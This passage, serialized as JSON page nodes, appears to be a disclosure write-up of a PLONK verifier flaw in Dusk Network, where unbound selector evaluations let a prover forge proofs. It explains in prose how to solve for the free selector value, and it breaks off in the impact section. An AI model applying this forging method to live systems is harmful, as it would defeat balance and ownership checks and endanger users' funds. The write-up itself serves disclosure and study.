constraints:",{"type":22,"tag":57685,"props":146924,"children":146925},{},[146926,146942],{"type":22,"tag":124594,"props":146927,"children":146928},{},[146929],{"type":22,"tag":124598,"props":146930,"children":146931},{},[146932,146937],{"type":22,"tag":124602,"props":146933,"children":146934},{},[146935],{"type":28,"value":146936},"Circuit check",{"type":22,"tag":124602,"props":146938,"children":146939},{},[146940],{"type":28,"value":146941},"Statement being checked",{"type":22,"tag":124622,"props":146943,"children":146944},{},[146945,146963,146981,146999,147017,147174,147314,147332],{"type":22,"tag":124598,"props":146946,"children":146947},{},[146948,146958],{"type":22,"tag":124629,"props":146949,"children":146950},{},[146951],{"type":22,"tag":42,"props":146952,"children":146955},{"href":146953,"rel":146954},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[46],[146956],{"type":28,"value":146957},"Merkle tree membership",{"type":22,"tag":124629,"props":146959,"children":146960},{},[146961],{"type":28,"value":146962},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":22,"tag":124598,"props":146964,"children":146965},{},[146966,146976],{"type":22,"tag":124629,"props":146967,"children":146968},{},[146969],{"type":22,"tag":42,"props":146970,"children":146973},{"href":146971,"rel":146972},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[46],[146974],{"type":28,"value":146975},"Input-note secret-key authorization",{"type":22,"tag":124629,"props":146977,"children":146978},{},[146979],{"type":28,"value":146980},"The prover knows the secret key controlling each input note",{"type":22,"tag":124598,"props":146982,"children":146983},{},[146984,146994],{"type":22,"tag":124629,"props":146985,"children":146986},{},[146987],{"type":22,"tag":42,"props":146988,"children":146991},{"href":146989,"rel":146990},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[46],[146992],{"type":28,"value":146993},"Nullifier correctness",{"type":22,"tag":124629,"props":146995,"children":146996},{},[146997],{"type":28,"value":146998},"Each nullifier matches the corresponding note key and position",{"type":22,"tag":124598,"props":147000,"children":147001},{},[147002,147012],{"type":22,"tag":124629,"props":147003,"children":147004},{},[147005],{"type":22,"tag":42,"props":147006,"children":147009},{"href":147007,"rel":147008},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[46],[147010],{"type":28,"value":147011},"Output value commitment correctness",{"type":22,"tag":124629,"props":147013,"children":147014},{},[147015],{"type":28,"value":147016},"Each public output commitment matches the secret output value and blinder",{"type":22,"tag":124598,"props":147018,"children":147019},{},[147020,147030],{"type":22,"tag":124629,"props":147021,"children":147022},{},[147023],{"type":22,"tag":42,"props":147024,"children":147027},{"href":147025,"rel":147026},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[46],[147028],{"type":28,"value":147029},"Balance integrity",{"type":22,"tag":124629,"props":147031,"children":147032},{},[147033],{"type":22,"tag":114,"props":147034,"children":147036},{"className":147035},[5995,5996],[147037],{"type":22,"tag":118,"props":147038,"children":147040},{"className":147039},[6001],[147041],{"type":22,"tag":118,"props":147042,"children":147044},{"className":147043,"ariaHidden":6007},[6006],[147045,147085,147125,147157],{"type":22,"tag":118,"props":147046,"children":147048},{"className":147047},[6012],[147049,147053,147058,147062,147072,147076,147081],{"type":22,"tag":118,"props":147050,"children":147052},{"className":147051,"style":6125},[6017],[],{"type":22,"tag":118,"props":147054,"children":147056},{"className":147055,"style":23585},[23578,23583,23584],[147057],{"type":28,"value":110438},{"type":22,"tag":118,"props":147059,"children":147061},{"className":147060,"style":6143},[6104],[],{"type":22,"tag":118,"props":147063,"children":147065},{"className":147064},[6023,28],[147066],{"type":22,"tag":118,"props":147067,"children":147069},{"className":147068},[6023],[147070],{"type":28,"value":147071},"inputs",{"type":22,"tag":118,"props":147073,"children":147075},{"className":147074,"style":6202},[6104],[],{"type":22,"tag":118,"props":147077,"children":147079},{"className":147078},[6207],[147080],{"type":28,"value":282},{"type":22,"tag":118,"props":147082,"children":147084},{"className":147083,"style":6202},[6104],[],{"type":22,"tag":118,"props":147086,"children":147088},{"className":147087},[6012],[147089,147093,147098,147102,147112,147116,147121],{"type":22,"tag":118,"props":147090,"children":147092},{"className":147091,"style":6125},[6017],[],{"type":22,"tag":118,"props":147094,"children":147096},{"className":147095,"style":23585},[23578,23583,23584],[147097],{"type":28,"value":110438},{"type":22,"tag":118,"props":147099,"children":147101},{"className":147100,"style":6143},[6104],[],{"type":22,"tag":118,"props":147103,"children":147105},{"className":147104},[6023,28],[147106],{"type":22,"tag":118,"props":147107,"children":147109},{"className":147108},[6023],[147110],{"type":28,"value":147111},"outputs",{"type":22,"tag":118,"props":147113,"children":147115},{"className":147114,"style":6105},[6104],[],{"type":22,"tag":118,"props":147117,"children":147119},{"className":147118},[6110],[147120],{"type":28,"value":3220},{"type":22,"tag":118,"props":147122,"children":147124},{"className":147123,"style":6105},[6104],[],{"type":22,"tag":118,"props":147126,"children":147128},{"className":147127},[6012],[147129,147134,147144,147148,147153],{"type":22,"tag":118,"props":147130,"children":147133},{"className":147131,"style":147132},[6017],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":22,"tag":118,"props":147135,"children":147137},{"className":147136},[6023,28],[147138],{"type":22,"tag":118,"props":147139,"children":147141},{"className":147140},[6023],[147142],{"type":28,"value":147143},"fee",{"type":22,"tag":118,"props":147145,"children":147147},{"className":147146,"style":6105},[6104],[],{"type":22,"tag":118,"props":147149,"children":147151},{"className":147150},[6110],[147152],{"type":28,"value":3220},{"type":22,"tag":118,"props":147154,"children":147156},{"className":147155,"style":6105},[6104],[],{"type":22,"tag":118,"props":147158,"children":147160},{"className":147159},[6012],[147161,147165],{"type":22,"tag":118,"props":147162,"children":147164},{"className":147163,"style":116698},[6017],[],{"type":22,"tag":118,"props":147166,"children":147168},{"className":147167},[6023,28],[147169],{"type":22,"tag":118,"props":147170,"children":147172},{"className":147171},[6023],[147173],{"type":28,"value":63904},{"type":22,"tag":124598,"props":147175,"children":147176},{},[147177,147194],{"type":22,"tag":124629,"props":147178,"children":147179},{},[147180,147187,147188],{"type":22,"tag":42,"props":147181,"children":147184},{"href":147182,"rel":147183},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[46],[147185],{"type":28,"value":147186},"Range checks on inputs",{"type":28,"value":12991},{"type":22,"tag":42,"props":147189,"children":147192},{"href":147190,"rel":147191},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[46],[147193],{"type":28,"value":147111},{"type":22,"tag":124629,"props":147195,"children":147196},{},[147197,147199],{"type":28,"value":147198},"All note values lie in ",{"type":22,"tag":114,"props":147200,"children":147202},{"className":147201},[5995,5996],[147203],{"type":22,"tag":118,"props":147204,"children":147206},{"className":147205},[6001],[147207],{"type":22,"tag":118,"props":147208,"children":147210},{"className":147209,"ariaHidden":6007},[6006],[147211,147296],{"type":22,"tag":118,"props":147212,"children":147214},{"className":147213},[6012],[147215,147219,147224,147229,147234,147238,147283,147287,147292],{"type":22,"tag":118,"props":147216,"children":147218},{"className":147217,"style":116955},[6017],[],{"type":22,"tag":118,"props":147220,"children":147222},{"className":147221},[23671],[147223],{"type":28,"value":5746},{"type":22,"tag":118,"props":147225,"children":147227},{"className":147226},[6023],[147228],{"type":28,"value":6036},{"type":22,"tag":118,"props":147230,"children":147232},{"className":147231},[6136],[147233],{"type":28,"value":6139},{"type":22,"tag":118,"props":147235,"children":147237},{"className":147236,"style":6143},[6104],[],{"type":22,"tag":118,"props":147239,"children":147241},{"className":147240},[6023],[147242,147247],{"type":22,"tag":118,"props":147243,"children":147245},{"className":147244},[6023],[147246],{"type":28,"value":5147},{"type":22,"tag":118,"props":147248,"children":147250},{"className":147249},[6040],[147251],{"type":22,"tag":118,"props":147252,"children":147254},{"className":147253},[6045],[147255],{"type":22,"tag":118,"props":147256,"children":147258},{"className":147257},[6050],[147259],{"type":22,"tag":118,"props":147260,"children":147262},{"className":147261,"style":6018},[6055],[147263],{"type":22,"tag":118,"props":147264,"children":147265},{"style":6059},[147266,147270],{"type":22,"tag":118,"props":147267,"children":147269},{"className":147268,"style":6065},[6064],[],{"type":22,"tag":118,"props":147271,"children":147273},{"className":147272},[6070,6071,6072,6073],[147274],{"type":22,"tag":118,"props":147275,"children":147277},{"className":147276},[6023,6073],[147278],{"type":22,"tag":118,"props":147279,"children":147281},{"className":147280},[6023,6073],[147282],{"type":28,"value":31361},{"type":22,"tag":118,"props":147284,"children":147286},{"className":147285,"style":6105},[6104],[],{"type":22,"tag":118,"props":147288,"children":147290},{"className":147289},[6110],[147291],{"type":28,"value":6084},{"type":22,"tag":118,"props":147293,"children":147295},{"className":147294,"style":6105},[6104],[],{"type":22,"tag":118,"props":147297,"children":147299},{"className":147298},[6012],[147300,147304,147309],{"type":22,"tag":118,"props":147301,"children":147303},{"className":147302,"style":6125},[6017],[],{"type":22,"tag":118,"props":147305,"children":147307},{"className":147306},[6023],[147308],{"type":28,"value":6026},{"type":22,"tag":118,"props":147310,"children":147312},{"className":147311},[23693],[147313],{"type":28,"value":17386},{"type":22,"tag":124598,"props":147315,"children":147316},{},[147317,147327],{"type":22,"tag":124629,"props":147318,"children":147319},{},[147320],{"type":22,"tag":42,"props":147321,"children":147324},{"href":147322,"rel":147323},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[46],[147325],{"type":28,"value":147326},"Sender-authorship signatures",{"type":22,"tag":124629,"props":147328,"children":147329},{},[147330],{"type":28,"value":147331},"The transaction payload is signed by the sender's two signing key components",{"type":22,"tag":124598,"props":147333,"children":147334},{},[147335,147345],{"type":22,"tag":124629,"props":147336,"children":147337},{},[147338],{"type":22,"tag":42,"props":147339,"children":147342},{"href":147340,"rel":147341},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[46],[147343],{"type":28,"value":147344},"Sender encryption correctness",{"type":22,"tag":124629,"props":147346,"children":147347},{},[147348],{"type":28,"value":147349},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":22,"tag":31,"props":147351,"children":147352},{},[147353,147355,147361,147363,147372],{"type":28,"value":147354},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":22,"tag":114,"props":147356,"children":147358},{"className":147357},[],[147359],{"type":28,"value":147360},"tx.public_inputs()",{"type":28,"value":147362}," via ",{"type":22,"tag":42,"props":147364,"children":147366},{"href":146802,"rel":147365},[46],[147367],{"type":22,"tag":114,"props":147368,"children":147370},{"className":147369},[],[147371],{"type":28,"value":146810},{"type":28,"value":292},{"type":22,"tag":31,"props":147374,"children":147375},{},[147376],{"type":28,"value":147377},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":22,"tag":20760,"props":147379,"children":147380},{},[],{"type":22,"tag":23,"props":147382,"children":147383},{"id":91897},[147384],{"type":28,"value":147385},"The bug",{"type":22,"tag":31,"props":147387,"children":147388},{},[147389,147391,147398,147400,147411],{"type":28,"value":147390},"In the ",{"type":22,"tag":42,"props":147392,"children":147395},{"href":147393,"rel":147394},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[46],[147396],{"type":28,"value":147397},"PLONK verification",{"type":28,"value":147399},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":22,"tag":42,"props":147401,"children":147404},{"href":147402,"rel":147403},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[46],[147405],{"type":22,"tag":114,"props":147406,"children":147408},{"className":147407},[],[147409],{"type":28,"value":147410},"E_evals",{"type":28,"value":147412},") are:",{"type":22,"tag":64,"props":147414,"children":147415},{},[147416,147448,147473,147498],{"type":22,"tag":68,"props":147417,"children":147418},{},[147419,147425,147426,147432,147433,147439,147440,147446],{"type":22,"tag":114,"props":147420,"children":147422},{"className":147421},[],[147423],{"type":28,"value":147424},"a_eval",{"type":28,"value":231},{"type":22,"tag":114,"props":147427,"children":147429},{"className":147428},[],[147430],{"type":28,"value":147431},"b_eval",{"type":28,"value":231},{"type":22,"tag":114,"props":147434,"children":147436},{"className":147435},[],[147437],{"type":28,"value":147438},"c_eval",{"type":28,"value":231},{"type":22,"tag":114,"props":147441,"children":147443},{"className":147442},[],[147444],{"type":28,"value":147445},"d_eval",{"type":28,"value":147447}," (witness)",{"type":22,"tag":68,"props":147449,"children":147450},{},[147451,147457,147458,147464,147465,147471],{"type":22,"tag":114,"props":147452,"children":147454},{"className":147453},[],[147455],{"type":28,"value":147456},"s_sigma_1_eval",{"type":28,"value":231},{"type":22,"tag":114,"props":147459,"children":147461},{"className":147460},[],[147462],{"type":28,"value":147463},"s_sigma_2_eval",{"type":28,"value":231},{"type":22,"tag":114,"props":147466,"children":147468},{"className":147467},[],[147469],{"type":28,"value":147470},"s_sigma_3_eval",{"type":28,"value":147472}," (permutation)",{"type":22,"tag":68,"props":147474,"children":147475},{},[147476,147482,147483,147489,147490,147496],{"type":22,"tag":114,"props":147477,"children":147479},{"className":147478},[],[147480],{"type":28,"value":147481},"a_w_eval",{"type":28,"value":231},{"type":22,"tag":114,"props":147484,"children":147486},{"className":147485},[],[147487],{"type":28,"value":147488},"b_w_eval",{"type":28,"value":231},{"type":22,"tag":114,"props":147491,"children":147493},{"className":147492},[],[147494],{"type":28,"value":147495},"d_w_eval",{"type":28,"value":147497}," (shifted witness)",{"type":22,"tag":68,"props":147499,"children":147500},{},[147501,147507],{"type":22,"tag":114,"props":147502,"children":147504},{"className":147503},[],[147505],{"type":28,"value":147506},"z_eval",{"type":28,"value":147508}," (permutation accumulator)",{"type":22,"tag":31,"props":147510,"children":147511},{},[147512,147514,147518],{"type":28,"value":147513},"But the following selector evaluations were ",{"type":22,"tag":4764,"props":147515,"children":147516},{},[147517],{"type":28,"value":20455},{"type":28,"value":147519}," included:",{"type":22,"tag":64,"props":147521,"children":147522},{},[147523,147534,147545,147556],{"type":22,"tag":68,"props":147524,"children":147525},{},[147526,147532],{"type":22,"tag":114,"props":147527,"children":147529},{"className":147528},[],[147530],{"type":28,"value":147531},"q_arith_eval",{"type":28,"value":147533}," (arithmetic selector)",{"type":22,"tag":68,"props":147535,"children":147536},{},[147537,147543],{"type":22,"tag":114,"props":147538,"children":147540},{"className":147539},[],[147541],{"type":28,"value":147542},"q_c_eval",{"type":28,"value":147544}," (constant selector)",{"type":22,"tag":68,"props":147546,"children":147547},{},[147548,147554],{"type":22,"tag":114,"props":147549,"children":147551},{"className":147550},[],[147552],{"type":28,"value":147553},"q_l_eval",{"type":28,"value":147555}," (left selector)",{"type":22,"tag":68,"props":147557,"children":147558},{},[147559,147565],{"type":22,"tag":114,"props":147560,"children":147562},{"className":147561},[],[147563],{"type":28,"value":147564},"q_r_eval",{"type":28,"value":147566}," (right selector)",{"type":22,"tag":31,"props":147568,"children":147569},{},[147570,147572,147579,147580,147587,147588,147595,147596,147603],{"type":28,"value":147571},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":22,"tag":42,"props":147573,"children":147576},{"href":147574,"rel":147575},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[46],[147577],{"type":28,"value":147578},"proof struct",{"type":28,"value":231},{"type":22,"tag":42,"props":147581,"children":147584},{"href":147582,"rel":147583},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[46],[147585],{"type":28,"value":147586},"transcript absorption",{"type":28,"value":231},{"type":22,"tag":42,"props":147589,"children":147592},{"href":147590,"rel":147591},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[46],[147593],{"type":28,"value":147594},"arithmetic widget",{"type":28,"value":231},{"type":22,"tag":42,"props":147597,"children":147600},{"href":147598,"rel":147599},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[46],[147601],{"type":28,"value":147602},"fixed-base ECC widget",{"type":28,"value":147604},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":22,"tag":31,"props":147606,"children":147607},{},[147608,147610,147614],{"type":28,"value":147609},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":22,"tag":4764,"props":147611,"children":147612},{},[147613],{"type":28,"value":20455},{"type":28,"value":147615}," bugs:",{"type":22,"tag":64,"props":147617,"children":147618},{},[147619,147759],{"type":22,"tag":68,"props":147620,"children":147621},{},[147622,147624,147669,147671,147677,147679,147684,147685,147690,147691,147696,147698,147704,147706,147751,147753,147758],{"type":28,"value":147623},"There is no prover-supplied ",{"type":22,"tag":114,"props":147625,"children":147627},{"className":147626},[5995,5996],[147628],{"type":22,"tag":118,"props":147629,"children":147631},{"className":147630},[6001],[147632],{"type":22,"tag":118,"props":147633,"children":147635},{"className":147634,"ariaHidden":6007},[6006],[147636],{"type":22,"tag":118,"props":147637,"children":147639},{"className":147638},[6012],[147640,147644,147649,147654,147659,147664],{"type":22,"tag":118,"props":147641,"children":147643},{"className":147642,"style":6125},[6017],[],{"type":22,"tag":118,"props":147645,"children":147647},{"className":147646},[6023,23542],[147648],{"type":28,"value":5169},{"type":22,"tag":118,"props":147650,"children":147652},{"className":147651},[23671],[147653],{"type":28,"value":540},{"type":22,"tag":118,"props":147655,"children":147657},{"className":147656,"style":115200},[6023,23542],[147658],{"type":28,"value":115203},{"type":22,"tag":118,"props":147660,"children":147662},{"className":147661,"style":95129},[6023,23542],[147663],{"type":28,"value":146333},{"type":22,"tag":118,"props":147665,"children":147667},{"className":147666},[23693],[147668],{"type":28,"value":3627},{"type":28,"value":147670}," field at all. ",{"type":22,"tag":114,"props":147672,"children":147674},{"className":147673},[],[147675],{"type":28,"value":147676},"ProofEvaluations",{"type":28,"value":147678}," contains ",{"type":22,"tag":114,"props":147680,"children":147682},{"className":147681},[],[147683],{"type":28,"value":147481},{"type":28,"value":231},{"type":22,"tag":114,"props":147686,"children":147688},{"className":147687},[],[147689],{"type":28,"value":147488},{"type":28,"value":8497},{"type":22,"tag":114,"props":147692,"children":147694},{"className":147693},[],[147695],{"type":28,"value":147495},{"type":28,"value":147697},", but no ",{"type":22,"tag":114,"props":147699,"children":147701},{"className":147700},[],[147702],{"type":28,"value":147703},"c_w_eval",{"type":28,"value":147705},", so the verifier never consumes an unbound ",{"type":22,"tag":114,"props":147707,"children":147709},{"className":147708},[5995,5996],[147710],{"type":22,"tag":118,"props":147711,"children":147713},{"className":147712},[6001],[147714],{"type":22,"tag":118,"props":147715,"children":147717},{"className":147716,"ariaHidden":6007},[6006],[147718],{"type":22,"tag":118,"props":147719,"children":147721},{"className":147720},[6012],[147722,147726,147731,147736,147741,147746],{"type":22,"tag":118,"props":147723,"children":147725},{"className":147724,"style":6125},[6017],[],{"type":22,"tag":118,"props":147727,"children":147729},{"className":147728},[6023,23542],[147730],{"type":28,"value":5169},{"type":22,"tag":118,"props":147732,"children":147734},{"className":147733},[23671],[147735],{"type":28,"value":540},{"type":22,"tag":118,"props":147737,"children":147739},{"className":147738,"style":115200},[6023,23542],[147740],{"type":28,"value":115203},{"type":22,"tag":118,"props":147742,"children":147744},{"className":147743,"style":95129},[6023,23542],[147745],{"type":28,"value":146333},{"type":22,"tag":118,"props":147747,"children":147749},{"className":147748},[23693],[147750],{"type":28,"value":3627},{"type":28,"value":147752}," claim (",{"type":22,"tag":42,"props":147754,"children":147756},{"href":147574,"rel":147755},[46],[147757],{"type":28,"value":147578},{"type":28,"value":22702},{"type":22,"tag":68,"props":147760,"children":147761},{},[147762,147764,147851,147853,147945,147946,147953],{"type":28,"value":147763},"There is a fourth permutation commitment ",{"type":22,"tag":114,"props":147765,"children":147767},{"className":147766},[5995,5996],[147768],{"type":22,"tag":118,"props":147769,"children":147771},{"className":147770},[6001],[147772],{"type":22,"tag":118,"props":147773,"children":147775},{"className":147774,"ariaHidden":6007},[6006],[147776],{"type":22,"tag":118,"props":147777,"children":147779},{"className":147778},[6012],[147780,147784,147789,147846],{"type":22,"tag":118,"props":147781,"children":147783},{"className":147782,"style":6125},[6017],[],{"type":22,"tag":118,"props":147785,"children":147787},{"className":147786},[23671],[147788],{"type":28,"value":5746},{"type":22,"tag":118,"props":147790,"children":147792},{"className":147791},[6023],[147793,147798],{"type":22,"tag":118,"props":147794,"children":147796},{"className":147795,"style":95129},[6023,23542],[147797],{"type":28,"value":146228},{"type":22,"tag":118,"props":147799,"children":147801},{"className":147800},[6040],[147802],{"type":22,"tag":118,"props":147803,"children":147805},{"className":147804},[6045,23596],[147806,147835],{"type":22,"tag":118,"props":147807,"children":147809},{"className":147808},[6050],[147810,147830],{"type":22,"tag":118,"props":147811,"children":147813},{"className":147812,"style":94695},[6055],[147814],{"type":22,"tag":118,"props":147815,"children":147816},{"style":95176},[147817,147821],{"type":22,"tag":118,"props":147818,"children":147820},{"className":147819,"style":6065},[6064],[],{"type":22,"tag":118,"props":147822,"children":147824},{"className":147823},[6070,6071,6072,6073],[147825],{"type":22,"tag":118,"props":147826,"children":147828},{"className":147827},[6023,6073],[147829],{"type":28,"value":19493},{"type":22,"tag":118,"props":147831,"children":147833},{"className":147832},[23699],[147834],{"type":28,"value":23702},{"type":22,"tag":118,"props":147836,"children":147838},{"className":147837},[6050],[147839],{"type":22,"tag":118,"props":147840,"children":147842},{"className":147841,"style":94726},[6055],[147843],{"type":22,"tag":118,"props":147844,"children":147845},{},[],{"type":22,"tag":118,"props":147847,"children":147849},{"className":147848},[23693],[147850],{"type":28,"value":17386},{"type":28,"value":147852}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":22,"tag":114,"props":147854,"children":147856},{"className":147855},[5995,5996],[147857],{"type":22,"tag":118,"props":147858,"children":147860},{"className":147859},[6001],[147861],{"type":22,"tag":118,"props":147862,"children":147864},{"className":147863,"ariaHidden":6007},[6006],[147865],{"type":22,"tag":118,"props":147866,"children":147868},{"className":147867},[6012],[147869,147873,147930,147935,147940],{"type":22,"tag":118,"props":147870,"children":147872},{"className":147871,"style":6125},[6017],[],{"type":22,"tag":118,"props":147874,"children":147876},{"className":147875},[6023],[147877,147882],{"type":22,"tag":118,"props":147878,"children":147880},{"className":147879,"style":95129},[6023,23542],[147881],{"type":28,"value":146228},{"type":22,"tag":118,"props":147883,"children":147885},{"className":147884},[6040],[147886],{"type":22,"tag":118,"props":147887,"children":147889},{"className":147888},[6045,23596],[147890,147919],{"type":22,"tag":118,"props":147891,"children":147893},{"className":147892},[6050],[147894,147914],{"type":22,"tag":118,"props":147895,"children":147897},{"className":147896,"style":94695},[6055],[147898],{"type":22,"tag":118,"props":147899,"children":147900},{"style":95176},[147901,147905],{"type":22,"tag":118,"props":147902,"children":147904},{"className":147903,"style":6065},[6064],[],{"type":22,"tag":118,"props":147906,"children":147908},{"className":147907},[6070,6071,6072,6073],[147909],{"type":22,"tag":118,"props":147910,"children":147912},{"className":147911},[6023,6073],[147913],{"type":28,"value":19493},{"type":22,"tag":118,"props":147915,"children":147917},{"className":147916},[23699],[147918],{"type":28,"value":23702},{"type":22,"tag":118,"props":147920,"children":147922},{"className":147921},[6050],[147923],{"type":22,"tag":118,"props":147924,"children":147926},{"className":147925,"style":94726},[6055],[147927],{"type":22,"tag":118,"props":147928,"children":147929},{},[],{"type":22,"tag":118,"props":147931,"children":147933},{"className":147932},[23671],[147934],{"type":28,"value":540},{"type":22,"tag":118,"props":147936,"children":147938},{"className":147937,"style":115200},[6023,23542],[147939],{"type":28,"value":115203},{"type":22,"tag":118,"props":147941,"children":147943},{"className":147942},[23693],[147944],{"type":28,"value":3627},{"type":28,"value":842},{"type":22,"tag":42,"props":147947,"children":147950},{"href":147948,"rel":147949},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[46],[147951],{"type":28,"value":147952},"permutation verifier key",{"type":28,"value":22702},{"type":22,"tag":31,"props":147955,"children":147956},{},[147957,147959,147969],{"type":28,"value":147958},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":22,"tag":42,"props":147960,"children":147963},{"href":147961,"rel":147962},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[46],[147964],{"type":22,"tag":114,"props":147965,"children":147967},{"className":147966},[],[147968],{"type":28,"value":147410},{"type":28,"value":147970},", which leaves the master equation underconstrained.",{"type":22,"tag":31,"props":147972,"children":147973},{},[147974],{"type":22,"tag":5928,"props":147975,"children":147978},{"alt":147976,"src":147977},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":22,"tag":20760,"props":147980,"children":147981},{},[],{"type":22,"tag":23,"props":147983,"children":147985},{"id":147984},"the-exploitation",[147986],{"type":28,"value":147987},"The exploitation",{"type":22,"tag":31,"props":147989,"children":147990},{},[147991],{"type":28,"value":147992},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":22,"tag":31,"props":147994,"children":147995},{},[147996,147998,148004,148006,148011,148013,148018,148020,148026],{"type":28,"value":147997},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":22,"tag":114,"props":147999,"children":148001},{"className":148000},[],[148002],{"type":28,"value":148003},"z_challenge",{"type":28,"value":148005},", it computes what the linearization polynomial ",{"type":22,"tag":4764,"props":148007,"children":148008},{},[148009],{"type":28,"value":148010},"should",{"type":28,"value":148012}," evaluate to for the pairing check to pass, then solves for ",{"type":22,"tag":114,"props":148014,"children":148016},{"className":148015},[],[148017],{"type":28,"value":147531},{"type":28,"value":148019},", the single free variable that makes the verification equation balance (setting ",{"type":22,"tag":114,"props":148021,"children":148023},{"className":148022},[],[148024],{"type":28,"value":148025},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":28,"value":22702},{"type":22,"tag":31,"props":148028,"children":148029},{},[148030],{"type":22,"tag":5928,"props":148031,"children":148034},{"alt":148032,"src":148033},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":22,"tag":31,"props":148036,"children":148037},{},[148038,148040,148080,148082,148107,148109,148114],{"type":28,"value":148039},"To achieve this one may compute the linearization polynomial ",{"type":22,"tag":114,"props":148041,"children":148043},{"className":148042},[5995,5996],[148044],{"type":22,"tag":118,"props":148045,"children":148047},{"className":148046},[6001],[148048],{"type":22,"tag":118,"props":148049,"children":148051},{"className":148050,"ariaHidden":6007},[6006],[148052],{"type":22,"tag":118,"props":148053,"children":148055},{"className":148054},[6012],[148056,148060,148065,148070,148075],{"type":22,"tag":118,"props":148057,"children":148059},{"className":148058,"style":6125},[6017],[],{"type":22,"tag":118,"props":148061,"children":148063},{"className":148062,"style":94643},[6023,23542],[148064],{"type":28,"value":95462},{"type":22,"tag":118,"props":148066,"children":148068},{"className":148067},[23671],[148069],{"type":28,"value":540},{"type":22,"tag":118,"props":148071,"children":148073},{"className":148072},[6023,23542],[148074],{"type":28,"value":21243},{"type":22,"tag":118,"props":148076,"children":148078},{"className":148077},[23693],[148079],{"type":28,"value":3627},{"type":28,"value":148081}," with all selectors set to zero, evaluating it at ",{"type":22,"tag":114,"props":148083,"children":148085},{"className":148084},[5995,5996],[148086],{"type":22,"tag":118,"props":148087,"children":148089},{"className":148088},[6001],[148090],{"type":22,"tag":118,"props":148091,"children":148093},{"className":148092,"ariaHidden":6007},[6006],[148094],{"type":22,"tag":118,"props":148095,"children":148097},{"className":148096},[6012],[148098,148102],{"type":22,"tag":118,"props":148099,"children":148101},{"className":148100,"style":112484},[6017],[],{"type":22,"tag":118,"props":148103,"children":148105},{"className":148104,"style":115200},[6023,23542],[148106],{"type":28,"value":115203},{"type":28,"value":148108},", and comparing to the target value; the difference divided by the coefficient of ",{"type":22,"tag":114,"props":148110,"children":148112},{"className":148111},[],[148113],{"type":28,"value":147531},{"type":28,"value":148115}," gives the required value in a single field division.",{"type":22,"tag":20760,"props":148117,"children":148118},{},[],{"type":22,"tag":23,"props":148120,"children":148122},{"id":148121},"impact-on-dusk-network",[148123],{"type":28,"value":148124},"Impact on Dusk Network",{"type":22,"tag":31,"props":148126,"children":148127},{},[148128,148130,148137],{"type":28,"value":148129},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof 